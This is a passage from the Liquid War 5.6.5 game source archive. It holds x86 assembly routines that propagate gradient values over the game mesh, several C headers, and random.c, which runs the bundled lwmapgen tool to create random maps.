.align 4 _boost_gradient_down_2: boost_gradient_down_2: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es movl ARG_FIRST(%ebp),%esi /* esi pointeur sur mesh courant*/ movl ARG_SIZE(%ebp),%ecx /* ecx prend la taille de la boucle */ movl ARG_OFFSET(%ebp),%ebx /* ebx prend l'offset de direction */ main_loop_gd_2: add %ebx,%esi movl (%esi),%edi sub %ebx,%esi cmp $0,%edi je skip_gd_2_1 movl OFFSET_TO_GRAD_0(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_0(%edi),%eax /* GPF sous win ICI */ jae skip_gd_2_0 movl %eax,%ds:OFFSET_TO_GRAD_0(%edi) skip_gd_2_0: movl OFFSET_TO_GRAD_1(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_1(%edi),%eax jae skip_gd_2_1 movl %eax,%ds:OFFSET_TO_GRAD_1(%edi) skip_gd_2_1: addl $SIZE_OF_MESH,%esi loopl main_loop_gd_2 popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret /*------------------------------------------------------------------*/ /* void boost_gradient_down_3 (MESH *first, int size, int offset); */ /*------------------------------------------------------------------*/ .globl _boost_gradient_down_3 .globl boost_gradient_down_3 .align 4 _boost_gradient_down_3: boost_gradient_down_3: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es movl ARG_FIRST(%ebp),%esi /* esi pointeur sur mesh courant*/ movl ARG_SIZE(%ebp),%ecx /* ecx prend la taille de la boucle */ movl ARG_OFFSET(%ebp),%ebx /* ebx prend l'offset de direction */ main_loop_gd_3: add %ebx,%esi movl (%esi),%edi sub %ebx,%esi cmp $0,%edi je skip_gd_3_2 movl OFFSET_TO_GRAD_0(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_0(%edi),%eax jae skip_gd_3_0 movl %eax,%ds:OFFSET_TO_GRAD_0(%edi) skip_gd_3_0: movl OFFSET_TO_GRAD_1(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_1(%edi),%eax jae skip_gd_3_1 movl %eax,%ds:OFFSET_TO_GRAD_1(%edi) skip_gd_3_1: movl OFFSET_TO_GRAD_2(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_2(%edi),%eax jae skip_gd_3_2 movl %eax,%ds:OFFSET_TO_GRAD_2(%edi) skip_gd_3_2: addl $SIZE_OF_MESH,%esi loopl main_loop_gd_3 popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret /*------------------------------------------------------------------*/ /* void boost_gradient_down_4 (MESH *first, int size, int offset); */ /*------------------------------------------------------------------*/ .globl _boost_gradient_down_4 .globl boost_gradient_down_4 .align 4 _boost_gradient_down_4: boost_gradient_down_4: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es movl ARG_FIRST(%ebp),%esi /* esi pointeur sur mesh courant*/ movl ARG_SIZE(%ebp),%ecx /* ecx prend la taille de la boucle */ movl ARG_OFFSET(%ebp),%ebx /* ebx prend l'offset de direction */ main_loop_gd_4: add %ebx,%esi movl (%esi),%edi sub %ebx,%esi cmp $0,%edi je skip_gd_4_3 movl OFFSET_TO_GRAD_0(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_0(%edi),%eax jae skip_gd_4_0 movl %eax,%ds:OFFSET_TO_GRAD_0(%edi) skip_gd_4_0: movl OFFSET_TO_GRAD_1(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_1(%edi),%eax jae skip_gd_4_1 movl %eax,%ds:OFFSET_TO_GRAD_1(%edi) skip_gd_4_1: movl OFFSET_TO_GRAD_2(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_2(%edi),%eax jae skip_gd_4_2 movl %eax,%ds:OFFSET_TO_GRAD_2(%edi) skip_gd_4_2: movl OFFSET_TO_GRAD_3(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_3(%edi),%eax jae skip_gd_4_3 movl %eax,%ds:OFFSET_TO_GRAD_3(%edi) skip_gd_4_3: addl $SIZE_OF_MESH,%esi loopl main_loop_gd_4 popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret /*------------------------------------------------------------------*/ /* void boost_gradient_down_5 (MESH *first, int size, int offset); */ /*------------------------------------------------------------------*/ .globl _boost_gradient_down_5 .globl boost_gradient_down_5 .align 4 _boost_gradient_down_5: boost_gradient_down_5: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es movl ARG_FIRST(%ebp),%esi /* esi pointeur sur mesh courant*/ movl ARG_SIZE(%ebp),%ecx /* ecx prend la taille de la boucle */ movl ARG_OFFSET(%ebp),%ebx /* ebx prend l'offset de direction */ main_loop_gd_5: add %ebx,%esi movl (%esi),%edi sub %ebx,%esi cmp $0,%edi je skip_gd_5_4 movl OFFSET_TO_GRAD_0(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_0(%edi),%eax jae skip_gd_5_0 movl %eax,%ds:OFFSET_TO_GRAD_0(%edi) skip_gd_5_0: movl OFFSET_TO_GRAD_1(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_1(%edi),%eax jae skip_gd_5_1 movl %eax,%ds:OFFSET_TO_GRAD_1(%edi) skip_gd_5_1: movl OFFSET_TO_GRAD_2(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_2(%edi),%eax jae skip_gd_5_2 movl %eax,%ds:OFFSET_TO_GRAD_2(%edi) skip_gd_5_2: movl OFFSET_TO_GRAD_3(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_3(%edi),%eax jae skip_gd_5_3 movl %eax,%ds:OFFSET_TO_GRAD_3(%edi) skip_gd_5_3: movl OFFSET_TO_GRAD_4(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_4(%edi),%eax jae skip_gd_5_4 movl %eax,%ds:OFFSET_TO_GRAD_4(%edi) skip_gd_5_4: addl $SIZE_OF_MESH,%esi loopl main_loop_gd_5 popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret /*------------------------------------------------------------------*/ /* void boost_gradient_down_6 (MESH *first, int size, int offset); */ /*------------------------------------------------------------------*/ .globl _boost_gradient_down_6 .globl boost_gradient_down_6 .align 4 _boost_gradient_down_6: boost_gradient_down_6: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es movl ARG_FIRST(%ebp),%esi /* esi pointeur sur mesh courant*/ movl ARG_SIZE(%ebp),%ecx /* ecx prend la taille de la boucle */ movl ARG_OFFSET(%ebp),%ebx /* ebx prend l'offset de direction */ main_loop_gd_6: add %ebx,%esi movl (%esi),%edi sub %ebx,%esi cmp $0,%edi je skip_gd_6_5 movl OFFSET_TO_GRAD_0(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_0(%edi),%eax jae skip_gd_6_0 movl %eax,%ds:OFFSET_TO_GRAD_0(%edi) skip_gd_6_0: movl OFFSET_TO_GRAD_1(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_1(%edi),%eax jae skip_gd_6_1 movl %eax,%ds:OFFSET_TO_GRAD_1(%edi) skip_gd_6_1: movl OFFSET_TO_GRAD_2(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_2(%edi),%eax jae skip_gd_6_2 movl %eax,%ds:OFFSET_TO_GRAD_2(%edi) skip_gd_6_2: movl OFFSET_TO_GRAD_3(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_3(%edi),%eax jae skip_gd_6_3 movl %eax,%ds:OFFSET_TO_GRAD_3(%edi) skip_gd_6_3: movl OFFSET_TO_GRAD_4(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_4(%edi),%eax jae skip_gd_6_4 movl %eax,%ds:OFFSET_TO_GRAD_4(%edi) skip_gd_6_4: movl OFFSET_TO_GRAD_5(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_5(%edi),%eax jae skip_gd_6_5 movl %eax,%ds:OFFSET_TO_GRAD_5(%edi) skip_gd_6_5: addl $SIZE_OF_MESH,%esi loopl main_loop_gd_6 popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret /*==================================================================*/ /* deuxieme serie de fonctions, etalement des gradients vers le haut*/ /*==================================================================*/ /*------------------------------------------------------------------*/ /* void boost_gradient_up_2 (MESH *first, int size, int offset); */ /*------------------------------------------------------------------*/ .globl _boost_gradient_up_2 .globl boost_gradient_up_2 .align 4 _boost_gradient_up_2: boost_gradient_up_2: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es movl ARG_FIRST(%ebp),%esi /* esi pointeur sur mesh courant*/ movl ARG_SIZE(%ebp),%ecx /* ecx prend la taille de la boucle */ movl ARG_OFFSET(%ebp),%ebx /* ebx prend l'offset de direction */ main_loop_gu_2: add %ebx,%esi movl (%esi),%edi sub %ebx,%esi cmp $0,%edi je skip_gu_2_1 movl OFFSET_TO_GRAD_0(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_0(%edi),%eax jae skip_gu_2_0 movl %eax,%ds:OFFSET_TO_GRAD_0(%edi) skip_gu_2_0: movl OFFSET_TO_GRAD_1(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_1(%edi),%eax jae skip_gu_2_1 movl %eax,%ds:OFFSET_TO_GRAD_1(%edi) skip_gu_2_1: subl $SIZE_OF_MESH,%esi loopl main_loop_gu_2 popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret /*------------------------------------------------------------------*/ /* void boost_gradient_up_3 (MESH *first, int size, int offset); */ /*------------------------------------------------------------------*/ .globl _boost_gradient_up_3 .globl boost_gradient_up_3 .align 4 _boost_gradient_up_3: boost_gradient_up_3: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es movl ARG_FIRST(%ebp),%esi /* esi pointeur sur mesh courant*/ movl ARG_SIZE(%ebp),%ecx /* ecx prend la taille de la boucle */ movl ARG_OFFSET(%ebp),%ebx /* ebx prend l'offset de direction */ main_loop_gu_3: add %ebx,%esi movl (%esi),%edi sub %ebx,%esi cmp $0,%edi je skip_gu_3_2 movl OFFSET_TO_GRAD_0(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_0(%edi),%eax jae skip_gu_3_0 movl %eax,%ds:OFFSET_TO_GRAD_0(%edi) skip_gu_3_0: movl OFFSET_TO_GRAD_1(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_1(%edi),%eax jae skip_gu_3_1 movl %eax,%ds:OFFSET_TO_GRAD_1(%edi) skip_gu_3_1: movl OFFSET_TO_GRAD_2(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_2(%edi),%eax jae skip_gu_3_2 movl %eax,%ds:OFFSET_TO_GRAD_2(%edi) skip_gu_3_2: subl $SIZE_OF_MESH,%esi loopl main_loop_gu_3 popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret /*------------------------------------------------------------------*/ /* void boost_gradient_up_4 (MESH *first, int size, int offset); */ /*------------------------------------------------------------------*/ .globl _boost_gradient_up_4 .globl boost_gradient_up_4 .align 4 _boost_gradient_up_4: boost_gradient_up_4: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es movl ARG_FIRST(%ebp),%esi /* esi pointeur sur mesh courant*/ movl ARG_SIZE(%ebp),%ecx /* ecx prend la taille de la boucle */ movl ARG_OFFSET(%ebp),%ebx /* ebx prend l'offset de direction */ main_loop_gu_4: add %ebx,%esi movl (%esi),%edi sub %ebx,%esi cmp $0,%edi je skip_gu_4_3 movl OFFSET_TO_GRAD_0(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_0(%edi),%eax jae skip_gu_4_0 movl %eax,%ds:OFFSET_TO_GRAD_0(%edi) skip_gu_4_0: movl OFFSET_TO_GRAD_1(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_1(%edi),%eax jae skip_gu_4_1 movl %eax,%ds:OFFSET_TO_GRAD_1(%edi) skip_gu_4_1: movl OFFSET_TO_GRAD_2(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_2(%edi),%eax jae skip_gu_4_2 movl %eax,%ds:OFFSET_TO_GRAD_2(%edi) skip_gu_4_2: movl OFFSET_TO_GRAD_3(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_3(%edi),%eax jae skip_gu_4_3 movl %eax,%ds:OFFSET_TO_GRAD_3(%edi) skip_gu_4_3: subl $SIZE_OF_MESH,%esi loopl main_loop_gu_4 popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret /*------------------------------------------------------------------*/ /* void boost_gradient_up_5 (MESH *first, int size, int offset); */ /*------------------------------------------------------------------*/ .globl _boost_gradient_up_5 .globl boost_gradient_up_5 .align 4 _boost_gradient_up_5: boost_gradient_up_5: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es movl ARG_FIRST(%ebp),%esi /* esi pointeur sur mesh courant*/ movl ARG_SIZE(%ebp),%ecx /* ecx prend la taille de la boucle */ movl ARG_OFFSET(%ebp),%ebx /* ebx prend l'offset de direction */ main_loop_gu_5: add %ebx,%esi movl (%esi),%edi sub %ebx,%esi cmp $0,%edi je skip_gu_5_4 movl OFFSET_TO_GRAD_0(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_0(%edi),%eax jae skip_gu_5_0 movl %eax,%ds:OFFSET_TO_GRAD_0(%edi) skip_gu_5_0: movl OFFSET_TO_GRAD_1(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_1(%edi),%eax jae skip_gu_5_1 movl %eax,%ds:OFFSET_TO_GRAD_1(%edi) skip_gu_5_1: movl OFFSET_TO_GRAD_2(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_2(%edi),%eax jae skip_gu_5_2 movl %eax,%ds:OFFSET_TO_GRAD_2(%edi) skip_gu_5_2: movl OFFSET_TO_GRAD_3(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_3(%edi),%eax jae skip_gu_5_3 movl %eax,%ds:OFFSET_TO_GRAD_3(%edi) skip_gu_5_3: movl OFFSET_TO_GRAD_4(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_4(%edi),%eax jae skip_gu_5_4 movl %eax,%ds:OFFSET_TO_GRAD_4(%edi) skip_gu_5_4: subl $SIZE_OF_MESH,%esi loopl main_loop_gu_5 popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret /*------------------------------------------------------------------*/ /* void boost_gradient_up_6 (MESH *first, int size, int offset); */ /*------------------------------------------------------------------*/ .globl _boost_gradient_up_6 .globl boost_gradient_up_6 .align 4 _boost_gradient_up_6: boost_gradient_up_6: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es movl ARG_FIRST(%ebp),%esi /* esi pointeur sur mesh courant*/ movl ARG_SIZE(%ebp),%ecx /* ecx prend la taille de la boucle */ movl ARG_OFFSET(%ebp),%ebx /* ebx prend l'offset de direction */ main_loop_gu_6: add %ebx,%esi movl (%esi),%edi sub %ebx,%esi cmp $0,%edi je skip_gu_6_5 movl OFFSET_TO_GRAD_0(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_0(%edi),%eax jae skip_gu_6_0 movl %eax,%ds:OFFSET_TO_GRAD_0(%edi) skip_gu_6_0: movl OFFSET_TO_GRAD_1(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_1(%edi),%eax jae skip_gu_6_1 movl %eax,%ds:OFFSET_TO_GRAD_1(%edi) skip_gu_6_1: movl OFFSET_TO_GRAD_2(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_2(%edi),%eax jae skip_gu_6_2 movl %eax,%ds:OFFSET_TO_GRAD_2(%edi) skip_gu_6_2: movl OFFSET_TO_GRAD_3(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_3(%edi),%eax jae skip_gu_6_3 movl %eax,%ds:OFFSET_TO_GRAD_3(%edi) skip_gu_6_3: movl OFFSET_TO_GRAD_4(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_4(%edi),%eax jae skip_gu_6_4 movl %eax,%ds:OFFSET_TO_GRAD_4(%edi) skip_gu_6_4: movl OFFSET_TO_GRAD_5(%esi),%edx movl SQUARE_SIZE_INC(%esi),%eax add %edx,%eax cmp OFFSET_TO_GRAD_5(%edi),%eax jae skip_gu_6_5 movl %eax,%ds:OFFSET_TO_GRAD_5(%edi) skip_gu_6_5: subl $SIZE_OF_MESH,%esi loopl main_loop_gu_6 popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret liquidwar-5.6.5/src/area.h0000664000372000037200000001116113407756104015011 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : area.h */ /* contenu : creation de l'aire de jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_AREA #define LIQUID_WAR_INCLUDE_AREA /*==================================================================*/ /* includes */ /*==================================================================*/ #include "mesh.h" /*==================================================================*/ /* types */ /*==================================================================*/ typedef struct { short x; short y; short health; char team; char last_dir; } FIGHTER; typedef struct { MESH *mesh; FIGHTER *fighter; } PLACE; /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern PLACE *CURRENT_AREA; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void reset_game_area (void); int create_game_area (void); #endif liquidwar-5.6.5/src/watchdog.h0000664000372000037200000001047213407756104015705 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : watchdog.h */ /* contenu : gestion des codes secrets pendant le jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_WATCHDOG #define LIQUID_WAR_INCLUDE_WATCHDOG /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern char WATCHDOG_ASCII[256]; extern char WATCHDOG_SCANCODE[128]; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void watchdog_update (); void watchdog_reset (); int watchdog_is_keyword (char *keyword); #endif liquidwar-5.6.5/src/netgame.h0000664000372000037200000000762413407756104015532 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : netgame.h */ /* contenu : netgame menu, where the client joins the server */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_NETGAME #define LIQUID_WAR_INCLUDE_NETGAME /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int network_game (void); #endif liquidwar-5.6.5/src/random.c0000664000372000037200000001626213407756104015363 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : random.c */ /* content : wrapper for the functions in ../utils/lwmpagen/ */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "random.h" #include "alleg2.h" #include "map.h" #include "config.h" #include "disk.h" #include "log.h" #include "macro.h" #include "startup.h" #include "init.h" #include "exec2.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_RANDOM_RUN_DELAY 100 #define LW_RANDOM_RUN_RETRIES 50 #ifdef UNIX #define LW_RANDOM_COMMAND_END " > /dev/null 2>&1" #else #define LW_RANDOM_COMMAND_END "" #endif #define LW_COMMAND_EXTRA_SIZE 100 /*==================================================================*/ /* variables globales */ /*==================================================================*/ void *LW_RANDOM_RAW_MAP = NULL; int LW_RANDOM_ON = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Generates a black&white palette which is suitable for * the game to handle nicely maps generated by lwmapgen. Basically * all we need is color 0 == black and color 2555 = white, but * we do a full grayscale, just to say the palette is not full of * garbage. */ static void generate_bw_palette (PALETTE pal) { int i; for (i = 0; i < 256; ++i) { pal[i].r = i; pal[i].g = i; pal[i].b = i; } } /*------------------------------------------------------------------*/ static BITMAP * generate_bitmap () { BITMAP *bmp; PALETTE pal; char filename[LW_STARTUP_MAX_PATH_LENGTH]; char command[LW_STARTUP_MAX_PATH_LENGTH + LW_COMMAND_EXTRA_SIZE]; int size; int ok = 0; size = random () % 6; LW_MACRO_SPRINTF1 (filename, "%s.bmp", tmpnam (NULL)); LW_MACRO_SPRINTF4 (command, "%s --out %s --size %d%s", STARTUP_GEN_PATH, filename, size, LW_RANDOM_COMMAND_END); log_print_str ("Generating random map with command: \""); log_print_str (command); log_print_str ("\""); ok = lw_exec2_run (STARTUP_GEN_PATH, command); #ifdef WIN32 { /* * Under Windows we need to wait a bit until the map generator is done * with generating the map, until an easy way is found to "wait until the * program is finished". */ int i; for (i = 0; i < LW_RANDOM_RUN_RETRIES && !exists (filename); ++i) { rest (LW_RANDOM_RUN_DELAY); } } #endif display_success (ok); if (ok) { bmp = load_bitmap (filename, pal); } else { bmp = NULL; } delete_file (filename); #ifdef WIN32 { /* * Sometimes files aren't deleted properly on Windows, so we wait * "a little more" just to be sure. */ int i; for (i = 0; i < LW_RANDOM_RUN_RETRIES && exists (filename); ++i) { rest (LW_RANDOM_RUN_DELAY); delete_file (filename); } } #endif return bmp; } /*------------------------------------------------------------------*/ int lw_random_generate_map () { BITMAP *bmp; PALETTE pal; void *raw_map = NULL; int result = 0; bmp = generate_bitmap (); generate_bw_palette (pal); if (bmp) { raw_map = lw_map_archive_raw_bmp (bmp, pal, "lwmapgen"); } if (raw_map) { if (LW_RANDOM_RAW_MAP) { free (LW_RANDOM_RAW_MAP); } LW_RANDOM_RAW_MAP = raw_map; result = 1; } return result; } liquidwar-5.6.5/src/distor.h0000664000372000037200000001007713407756104015412 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ 